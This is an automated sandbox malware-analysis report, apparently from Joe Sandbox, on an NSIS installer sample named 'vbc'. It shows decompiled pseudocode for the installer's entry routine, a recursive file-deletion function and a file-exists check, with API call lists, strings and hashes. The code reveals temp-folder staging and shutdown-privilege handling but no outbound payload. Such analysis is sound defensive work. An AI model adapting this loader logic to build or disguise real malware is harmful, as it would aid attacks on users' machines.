Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			_entry_() {
				WCHAR* _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				int _v24;
				int _v28;
				struct _TOKEN_PRIVILEGES _v40;
				signed char _v42;
				int _v44;
				signed int _v48;
				intOrPtr _v278;
				signed short _v310;
				struct _OSVERSIONINFOW _v324;
				struct _SHFILEINFOW _v1016;
				intOrPtr* _t88;
				intOrPtr* _t94;
				void _t97;
				void* _t116;
				WCHAR* _t118;
				signed int _t119;
				intOrPtr* _t123;
				void* _t137;
				void* _t143;
				void* _t148;
				void* _t152;
				void* _t157;
				signed int _t167;
				void* _t170;
				void* _t175;
				intOrPtr _t177;
				intOrPtr _t178;
				intOrPtr* _t179;
				int _t188;
				void* _t189;
				void* _t198;
				signed int _t204;
				signed int _t209;
				signed int _t214;
				int* _t218;
				signed int _t226;
				signed int _t229;
				CHAR* _t231;
				signed int _t233;
				WCHAR* _t234;

				0x7b3000 = 0x20;
				_t188 = 0;
				_v24 = 0;
				_v8 = L"Error writing temporary file. Make sure your temp folder is valid.";
				_v20 = 0;
				SetErrorMode(0x8001); // executed
				_v324.szCSDVersion = 0;
				_v48 = 0;
				_v44 = 0;
				_v324.dwOSVersionInfoSize = 0x11c;
				if(GetVersionExW( &_v324) == 0) {
					_v324.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v324);
					asm("sbb eax, eax");
					_v42 = 4;
					_v48 =  !( ~(_v324.szCSDVersion - 0x53)) & _v278 + 0xffffffd0;
				}
				if(_v324.dwMajorVersion < 0xa) {
					_v310 = _v310 & 0x00000000;
				}
				 *0x7a8b58 = _v324.dwBuildNumber;
				 *0x7a8b5c = (_v324.dwMajorVersion & 0x0000ffff | _v324.dwMinorVersion & 0x000000ff) << 0x00000010 | _v48 & 0x0000ffff | _v42 & 0x000000ff;
				if( *0x7a8b5e != 0x600) {
					_t179 = E00406A3B(_t188);
					if(_t179 != _t188) {
						 *_t179(0xc00);
					}
				}
				_t231 = "UXTHEME";
				do {
					E004069CB(_t231); // executed
					_t231 =  &(_t231[lstrlenA(_t231) + 1]);
				} while ( *_t231 != 0);
				E00406A3B(0xb);
				 *0x7a8aa4 = E00406A3B(9);
				_t88 = E00406A3B(7);
				if(_t88 != _t188) {
					_t88 =  *_t88(0x1e);
					if(_t88 != 0) {
						 *0x7a8b5c =  *0x7a8b5c | 0x00000080;
					}
				}
				__imp__#17();
				__imp__OleInitialize(_t188); // executed
				 *0x7a8b60 = _t88;
				SHGetFileInfoW(0x79ff48, _t188,  &_v1016, 0x2b4, _t188); // executed
				E0040666E(0x7a7aa0, L"NSIS Error");
				E0040666E(0x7b3000, GetCommandLineW());
				_t94 = 0x7b3000;
				_t233 = 0x22;
				 *0x7a8aa0 = 0x400000;
				if( *0x7b3000 == _t233) {
					_t94 = 0x7b3002;
				}
				_t198 = CharNextW(E00405F6A(_t94, 0x7b3000));
				_v16 = _t198;
				while(1) {
					_t97 =  *_t198;
					_t251 = _t97 - _t188;
					if(_t97 == _t188) {
						break;
					}
					_t209 = 0x20;
					__eflags = _t97 - _t209;
					if(_t97 != _t209) {
						L17:
						__eflags =  *_t198 - _t233;
						_v12 = _t209;
						if( *_t198 == _t233) {
							_v12 = _t233;
							_t198 = _t198 + 2;
							__eflags = _t198;
						}
						__eflags =  *_t198 - 0x2f;
						if( *_t198 != 0x2f) {
							L32:
							_t198 = E00405F6A(_t198, _v12);
							__eflags =  *_t198 - _t233;
							if(__eflags == 0) {
								_t198 = _t198 + 2;
								__eflags = _t198;
							}
							continue;
						} else {
							_t198 = _t198 + 2;
							__eflags =  *_t198 - 0x53;
							if( *_t198 != 0x53) {
								L24:
								asm("cdq");
								asm("cdq");
								_t214 = L"NCRC" & 0x0000ffff;
								asm("cdq");
								_t226 = ( *0x40a37e & 0x0000ffff) << 0x00000010 |  *0x40a37c & 0x0000ffff | _t214;
								__eflags =  *_t198 - (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t214);
								if( *_t198 != (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t214)) {
									L29:
									asm("cdq");
									asm("cdq");
									_t209 = L" /D=" & 0x0000ffff;
									asm("cdq");
									_t229 = ( *0x40a372 & 0x0000ffff) << 0x00000010 |  *0x40a370 & 0x0000ffff | _t209;
									__eflags =  *(_t198 - 4) - (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t209);
									if( *(_t198 - 4) != (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t209)) {
										L31:
										_t233 = 0x22;
										goto L32;
									}
									__eflags =  *_t198 - _t229;
									if( *_t198 == _t229) {
										 *(_t198 - 4) = _t188;
										__eflags = _t198;
										E0040666E(0x7b3800, _t198);
										L37:
										_t234 = L"C:\\Users\\Albus\\AppData\\Local\\Temp\\";
										GetTempPathW(0x400, _t234);
										_t116 = E00403615(_t198, _t251);
										_t252 = _t116;
										if(_t116 != 0) {
											L40:
											DeleteFileW(L"1033"); // executed
											_t118 = E004030D0(_t254, _v20); // executed
											_v8 = _t118;
											if(_t118 != _t188) {
												L68:
												ExitProcess(); // executed
												__imp__OleUninitialize(); // executed
												if(_v8 == _t188) {
													if( *0x7a8b34 == _t188) {
														L77:
														_t119 =  *0x7a8b4c;
														if(_t119 != 0xffffffff) {
															_v24 = _t119;
														}
														ExitProcess(_v24);
													}
													if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v16) != 0) {
														LookupPrivilegeValueW(_t188, L"SeShutdownPrivilege",  &(_v40.Privileges));
														_v40.PrivilegeCount = 1;
														_v28 = 2;
														AdjustTokenPrivileges(_v16, _t188,  &_v40, _t188, _t188, _t188);
													}
													_t123 = E00406A3B(4);
													if(_t123 == _t188) {
														L75:
														if(ExitWindowsEx(2, 0x80040002) != 0) {
															goto L77;
														}
														goto L76;
													} else {
														_push(0x80040002);
														_push(0x25);
														_push(_t188);
														_push(_t188);
														_push(_t188);
														if( *_t123() == 0) {
															L76:
															E0040140B(9);
															goto L77;
														}
														goto L75;
													}
												}
												E00405CCE(_v8, 0x200010);
												ExitProcess(2);
											}
											if( *0x7a8abc == _t188) {
												L51:
												 *0x7a8b4c =  *0x7a8b4c | 0xffffffff;
												_v24 = E00403D1D(_t264);
												goto L68;
											}
											_t218 = E00405F6A(0x7b3000, _t188);
											if(_t218 < 0x7b3000) {
												L48:
												_t263 = _t218 - 0x7b3000;
												_v8 = L"Error launching installer";
												if(_t218 < 0x7b3000) {
													_t189 = E00405C39(__eflags);
													lstrcatW(_t234, L"~nsu");
													__eflags = _t189;
													if(_t189 != 0) {
														lstrcatW(_t234, "A");
													}
													lstrcatW(_t234, L".tmp");
													_t137 = lstrcmpiW(_t234, 0x7b4800);
													__eflags = _t137;
													if(_t137 == 0) {
														L67:
														_t188 = 0;
														__eflags = 0;
														goto L68;
													} else {
														__eflags = _t189;
														_push(_t234);
														if(_t189 == 0) {
															E00405C1C();
														} else {
															E00405B9F();
														}
														SetCurrentDirectoryW(_t234);
														__eflags =  *0x7b3800;
														if( *0x7b3800 == 0) {
															E0040666E(0x7b3800, 0x7b4800);
														}
														E0040666E(0x7a9000, _v16);
														_t201 = "A" & 0x0000ffff;
														_t143 = ( *0x40a316 & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
														__eflags = _t143;
														_v12 = 0x1a;
														 *0x7a9800 = _t143;
														do {
															E004066AB(0, 0x79f748, _t234, 0x79f748,  *((intOrPtr*)( *0x7a8ab0 + 0x120)));
															DeleteFileW(0x79f748);
															__eflags = _v8;
															if(_v8 != 0) {
																_t148 = CopyFileW(0x7b6800, 0x79f748, 1);
																__eflags = _t148;
																if(_t148 != 0) {
																	E0040642E(_t201, 0x79f748, 0);
																	E004066AB(0, 0x79f748, _t234, 0x79f748,  *((intOrPtr*)( *0x7a8ab0 + 0x124)));
																	_t152 = E00405C51(0x79f748);
																	__eflags = _t152;
																	if(_t152 != 0) {
																		CloseHandle(_t152);
																		_v8 = 0;
																	}
																}
															}
															 *0x7a9800 =  *0x7a9800 + 1;
															_t61 =  &_v12;
															 *_t61 = _v12 - 1;
															__eflags =  *_t61;
														} while ( *_t61 != 0);
														E0040642E(_t201, _t234, 0);
														goto L67;
													}
												}
												 *_t218 = _t188;
												_t221 =  &(_t218[2]);
												_t157 = E00406045(_t263,  &(_t218[2]));
												_t264 = _t157;
												if(_t157 == 0) {
													goto L68;
												}
												E0040666E(0x7b3800, _t221);
												E0040666E(0x7b4000, _t221);
												_v8 = _t188;
												goto L51;
											}
											asm("cdq");
											asm("cdq");
											asm("cdq");
											_t204 = ( *0x40a33a & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
											_t167 = ( *0x40a33e & 0x0000ffff) << 0x00000010 |  *0x40a33c & 0x0000ffff | (_t209 << 0x00000020 |  *0x40a33e & 0x0000ffff) << 0x10;
											while( *_t218 != _t204 || _t218[1] != _t167) {
												_t218 = _t218;
												if(_t218 >= 0x7b3000) {
													continue;
												}
												break;
											}
											_t188 = 0;
											goto L48;
										}
										GetWindowsDirectoryW(_t234, 0x3fb);
										lstrcatW(_t234, L"\\Temp");
										_t170 = E00403615(_t198, _t252);
										_t253 = _t170;
										if(_t170 != 0) {
											goto L40;
										}
										GetTempPathW(0x3fc, _t234);
										lstrcatW(_t234, L"Low");
										SetEnvironmentVariableW(L"TEMP", _t234);
										SetEnvironmentVariableW(L"TMP", _t234);
										_t175 = E00403615(_t198, _t253);
										_t254 = _t175;
										if(_t175 == 0) {
											goto L68;
										}
										goto L40;
									}
									goto L31;
								}
								__eflags =  *((intOrPtr*)(_t198 + 4)) - _t226;
								if( *((intOrPtr*)(_t198 + 4)) != _t226) {
									goto L29;
								}
								_t177 =  *((intOrPtr*)(_t198 + 8));
								__eflags = _t177 - 0x20;
								if(_t177 == 0x20) {
									L28:
									_t36 =  &_v20;
									 *_t36 = _v20 | 0x00000004;
									__eflags =  *_t36;
									goto L29;
								}
								__eflags = _t177 - _t188;
								if(_t177 != _t188) {
									goto L29;
								}
								goto L28;
							}
							_t178 =  *((intOrPtr*)(_t198 + 2));
							__eflags = _t178 - _t209;
							if(_t178 == _t209) {
								L23:
								 *0x7a8b40 = 1;
								goto L24;
							}
							__eflags = _t178 - _t188;
							if(_t178 != _t188) {
								goto L24;
							}
							goto L23;
						}
					} else {
						goto L16;
					}
					do {
						L16:
						_t198 = _t198 + 2;
						__eflags =  *_t198 - _t209;
					} while ( *_t198 == _t209);
					goto L17;
				}
				goto L37;
			}

0x00403654
0x00403655
0x0040365c
0x0040365f
0x00403666
0x00403669
0x0040367c
0x00403682
0x00403685
0x00403688
0x00403696
0x0040369e
0x004036a9
0x004036c2
0x004036c4
0x004036cc
0x004036cc
0x004036d7
0x004036d9
0x004036d9
0x004036ee
0x00403713
0x00403721
0x00403724
0x0040372b
0x00403732
0x00403732
0x0040372b
0x00403734
0x00403739
0x0040373a
0x00403746
0x0040374a
0x00403751
0x0040375f
0x00403764
0x0040376b
0x0040376f
0x00403773
0x00403775
0x00403775
0x00403773
0x0040377c
0x00403783
0x00403789
0x004037a1
0x004037b1
0x004037c3
0x004037ca
0x004037cc
0x004037cd
0x004037de
0x004037e2
0x004037e2
0x004037f5
0x004037f7
0x004038f1
0x004038f1
0x004038f4
0x004038f7
0x00000000
0x00000000
0x00403801
0x00403802
0x00403805
0x0040380e
0x0040380e
0x00403811
0x00403814
0x00403817
0x0040381a
0x0040381a
0x0040381a
0x0040381b
0x0040381f
0x004038df
0x004038e8
0x004038ea
0x004038ed
0x004038f0
0x004038f0
0x004038f0
0x00000000
0x00403825
0x00403826
0x00403827
0x0040382b
0x00403845
0x0040384c
0x0040385f
0x00403860
0x00403875
0x0040387a
0x0040387c
0x0040387e
0x0040389a
0x004038a1
0x004038b4
0x004038b5
0x004038ca
0x004038d0
0x004038d2
0x004038d4
0x004038dc
0x004038de
0x00000000
0x004038de
0x004038d8
0x004038da
0x004038ff
0x00403903
0x0040390c
0x00403911
0x00403917
0x00403922
0x00403924
0x00403929
0x0040392b
0x00403983
0x00403988
0x00403991
0x00403998
0x0040399b
0x00403b72
0x00403b72
0x00403b77
0x00403b80
0x00403b9d
0x00403c15
0x00403c15
0x00403c1d
0x00403c1f
0x00403c1f
0x00403c25
0x00403c25
0x00403bb4
0x00403bc0
0x00403bd1
0x00403bd8
0x00403bdf
0x00403bdf
0x00403be7
0x00403bf3
0x00403c01
0x00403c0c
0x00000000
0x00000000
0x00000000
0x00403bf5
0x00403bf5
0x00403bf6
0x00403bf8
0x00403bf9
0x00403bfa
0x00403bff
0x00403c0e
0x00403c10
0x00000000
0x00403c10
0x00000000
0x00403bff
0x00403bf3
0x00403b8a
0x00403b91
0x00403b91
0x004039a7
0x00403a4e
0x00403a4e
0x00403a5a
0x00000000
0x00403a5a
0x004039b8
0x004039c0
0x00403a12
0x00403a12
0x00403a18
0x00403a1f
0x00403a6d
0x00403a6f
0x00403a74
0x00403a76
0x00403a7e
0x00403a7e
0x00403a89
0x00403a95
0x00403a9b
0x00403a9d
0x00403b70
0x00403b70
0x00403b70
0x00000000
0x00403aa3
0x00403aa3
0x00403aa5
0x00403aa6
0x00403aaf
0x00403aa8
0x00403aa8
0x00403aa8
0x00403ab5
0x00403abd
0x00403ac4
0x00403acc
0x00403acc
0x00403ad9
0x00403ae5
0x00403aef
0x00403aef
0x00403af1
0x00403af8
0x00403b02
0x00403b0e
0x00403b14
0x00403b1a
0x00403b1d
0x00403b27
0x00403b2d
0x00403b2f
0x00403b33
0x00403b44
0x00403b4a
0x00403b4f
0x00403b51
0x00403b54
0x00403b5a
0x00403b5a
0x00403b51
0x00403b2f
0x00403b5d
0x00403b64
0x00403b64
0x00403b64
0x00403b64
0x00403b6b
0x00000000
0x00403b6b
0x00403a9d
0x00403a21
0x00403a24
0x00403a28
0x00403a2d
0x00403a2f
0x00000000
0x00000000
0x00403a3b
0x00403a46
0x00403a4b
0x00000000
0x00403a4b
0x004039c9
0x004039e1
0x004039f2
0x004039f3
0x004039f7
0x004039f9
0x00403a07
0x00403a0e
0x00000000
0x00000000
0x00000000
0x00403a0e
0x00403a10
0x00000000
0x00403a10
0x00403933
0x0040393f
0x00403944
0x00403949
0x0040394b
0x00000000
0x00000000
0x00403953
0x0040395b
0x0040396c
0x00403974
0x00403976
0x0040397b
0x0040397d
0x00000000
0x00000000
0x00000000
0x0040397d
0x00000000
0x004038da
0x00403883
0x00403885
0x00000000
0x00000000
0x00403887
0x0040388b
0x0040388f
0x00403896
0x00403896
0x00403896
0x00403896
0x00000000
0x00403896
0x00403891
0x00403894
0x00000000
0x00000000
0x00000000
0x00403894
0x0040382d
0x00403831
0x00403834
0x0040383b
0x0040383b
0x00000000
0x0040383b
0x00403836
0x00403839
0x00000000
0x00000000
0x00000000
0x00403839
0x00000000
0x00000000
0x00000000
0x00403807
0x00403807
0x00403808
0x00403809
0x00403809
0x00000000
0x00403807
0x00000000

APIs

SetErrorMode.KERNELBASE(00008001), ref: 00403669
GetVersionExW.KERNEL32(?), ref: 00403692
GetVersionExW.KERNEL32(0000011C), ref: 004036A9
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403740
#17.COMCTL32(00000007,00000009,0000000B), ref: 0040377C
OleInitialize.OLE32(00000000), ref: 00403783
SHGetFileInfoW.SHELL32(0079FF48,00000000,?,000002B4,00000000), ref: 004037A1
GetCommandLineW.KERNEL32(007A7AA0,NSIS Error), ref: 004037B6
CharNextW.USER32(00000000), ref: 004037EF
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 00403922
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403933
lstrcatW.KERNEL32 ref: 0040393F
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\), ref: 00403953
lstrcatW.KERNEL32 ref: 0040395B
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040396C
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403974
DeleteFileW.KERNELBASE(1033), ref: 00403988
lstrcatW.KERNEL32 ref: 00403A6F
lstrcatW.KERNEL32 ref: 00403A7E

Part of subcall function 00405C1C: CreateDirectoryW.KERNELBASE(?,00000000,00403639,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403929), ref: 00405C22

lstrcatW.KERNEL32 ref: 00403A89
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,007B4800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,007B3000,00000000,?), ref: 00403A95
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403AB5
DeleteFileW.KERNEL32(0079F748,0079F748,?,007A9000,?), ref: 00403B14
CopyFileW.KERNEL32 ref: 00403B27
CloseHandle.KERNEL32(00000000), ref: 00403B54
ExitProcess.KERNELBASE(?), ref: 00403B72
OleUninitialize.OLE32 ref: 00403B77
ExitProcess.KERNEL32 ref: 00403B91
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403BA5
OpenProcessToken.ADVAPI32(00000000), ref: 00403BAC
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403BC0
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403BDF
ExitWindowsEx.USER32(00000002,80040002), ref: 00403C04
ExitProcess.KERNEL32 ref: 00403C25

Strings

Error launching installer, xrefs: 00403A18
TMP, xrefs: 0040396F
.tmp, xrefs: 00403A83
\Temp, xrefs: 00403939
TEMP, xrefs: 00403967
~nsu, xrefs: 00403A67
UXTHEME, xrefs: 00403734, 00403739, 0040373F
1033, xrefs: 00403983
NSIS Error, xrefs: 004037A7
SeShutdownPrivilege, xrefs: 00403BBA
C:\Users\user\AppData\Local\Temp\, xrefs: 00403917, 0040391C, 00403932, 0040393E, 0040394D, 0040395A, 00403966, 0040396E, 00403A6C, 00403A7D, 00403A88, 00403A94, 00403AA5, 00403AB4, 00403B6A
Low, xrefs: 00403955
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040365F

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Processlstrcat$ExitFile$Directory$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2292928366-4036104658
Opcode ID: 750da170c5ec3071fbc253d64d945ba09a8a0fe5a141c473f87f6f160000b61b
Instruction ID: 9002a92140da6a8b371a97510ecbbb4cdf1836846ed801e4a5207059f252ac0c
Opcode Fuzzy Hash: 750da170c5ec3071fbc253d64d945ba09a8a0fe5a141c473f87f6f160000b61b
Instruction Fuzzy Hash: EAE13571A00214AAD720AFB58D45BAF7EB9EB45709F10843EF541B62D1DB7C8E41CB2D

Uniqueness

Uniqueness Score: -1.00%

Function 00405D7A Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00405D7A(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E00406045(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68); // executed
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x7a8b28 =  *0x7a8b28 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E0040666E(0x7a3f90, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405F89(_t68);
					} else {
						lstrcatW(0x7a3f90, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x7a3f90,  &_v604); // executed
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E0040666E(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405D32(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E004056D0(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x7a8b28 =  *0x7a8b28 + 1;
										} else {
											E004056D0(0xfffffff1, _t68);
											E0040642E(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405D7A(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604); // executed
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70); // executed
						goto L26;
					}
					__eflags =  *0x7a3f90 - 0x5c;
					if( *0x7a3f90 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E004069A4(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405F3D(_t68);
							_t38 = E00405D32(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E004056D0(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E004056D0(0xfffffff1, _t68);
							return E0040642E(_t67, _t68, 0);
						}
						L30:
						 *0x7a8b28 =  *0x7a8b28 + 1;
						return _t38;
					}
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405d84
0x00405d89
0x00405d92
0x00405d95
0x00405d9d
0x00405da0
0x00405da3
0x00405dab
0x00405dad
0x00405dae
0x00000000
0x00405dae
0x00405db9
0x00405dbc
0x00405dbc
0x00405dbc
0x00405dc0
0x00405dd3
0x00405dda
0x00405ddf
0x00405de3
0x00405df3
0x00405de5
0x00405deb
0x00405deb
0x00405df8
0x00405dfc
0x00405e08
0x00405e0e
0x00405e13
0x00405e19
0x00405e24
0x00405e2a
0x00405e2c
0x00405e2f
0x00405ed9
0x00405ed9
0x00405edd
0x00405edf
0x00405edf
0x00405edf
0x00405edf
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e35
0x00405e35
0x00405e35
0x00405e3d
0x00405e5d
0x00405e65
0x00405e6a
0x00405e71
0x00405e8c
0x00405e91
0x00405e93
0x00405eb7
0x00405e95
0x00405e95
0x00405e98
0x00405eac
0x00405e9a
0x00405e9d
0x00405ea5
0x00405ea5
0x00405e98
0x00405e73
0x00405e79
0x00405e7b
0x00405e81
0x00405e81
0x00405e7b
0x00000000
0x00405e71
0x00405e3f
0x00405e47
0x00000000
0x00000000
0x00405e49
0x00405e51
0x00000000
0x00000000
0x00405e53
0x00405e5b
0x00000000
0x00000000
0x00000000
0x00405ebc
0x00405ec4
0x00405eca
0x00405eca
0x00405ed3
0x00000000
0x00405ed3
0x00405dfe
0x00405e06
0x00000000
0x00000000
0x00000000
0x00405dc2
0x00405dc2
0x00405dc4
0x00405ee4
0x00405ee6
0x00405ee9
0x00405f3a
0x00405f3a
0x00405f3a
0x00405eeb
0x00405eee
0x00405ef9
0x00405efe
0x00405f00
0x00000000
0x00000000
0x00405f03
0x00405f0f
0x00405f14
0x00405f16
0x00000000
0x00405f31
0x00405f18
0x00405f1b
0x00000000
0x00000000
0x00405f20
0x00000000
0x00405f27
0x00405ef0
0x00405ef0
0x00000000
0x00405ef0
0x00405dca
0x00405dcd
0x00000000
0x00000000
0x00000000
0x00405dcd

APIs

DeleteFileW.KERNELBASE(?,?,7556D4C4,755513E0,00000000), ref: 00405DA3
lstrcatW.KERNEL32 ref: 00405DEB
lstrcatW.KERNEL32 ref: 00405E0E
lstrlenW.KERNEL32(?,?,0040A014,?,007A3F90,?,?,7556D4C4,755513E0,00000000), ref: 00405E14
FindFirstFileW.KERNELBASE(007A3F90,?,?,?,0040A014,?,007A3F90,?,?,7556D4C4,755513E0,00000000), ref: 00405E24
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405EC4
FindClose.KERNELBASE(00000000), ref: 00405ED3

Strings

\*.*, xrefs: 00405DE5
., xrefs: 00405E35
., xrefs: 00405E49

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: .$.$\*.*
API String ID: 2035342205-3749113046
Opcode ID: 2c15840b85a1da03f103e354df9429e37a0661891549dd982a13389e768be2bb
Instruction ID: b1f38bcf7b39c15e0faf9db06640fc0f7a2e3671fe4bba31c24ee78ec55d2bca
Opcode Fuzzy Hash: 2c15840b85a1da03f103e354df9429e37a0661891549dd982a13389e768be2bb
Instruction Fuzzy Hash: 5541E230800A15AADB21AB61CC49ABF7678DF42714F20813FF845B11D1EB7C4E91DEAE

Uniqueness

Uniqueness Score: -1.00%

Function 004069A4 Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004069A4(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x7a4fd8); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x7a4fd8;
			}

0x004069af
0x004069b8
0x00000000
0x004069c5
0x004069bb
0x00000000

APIs

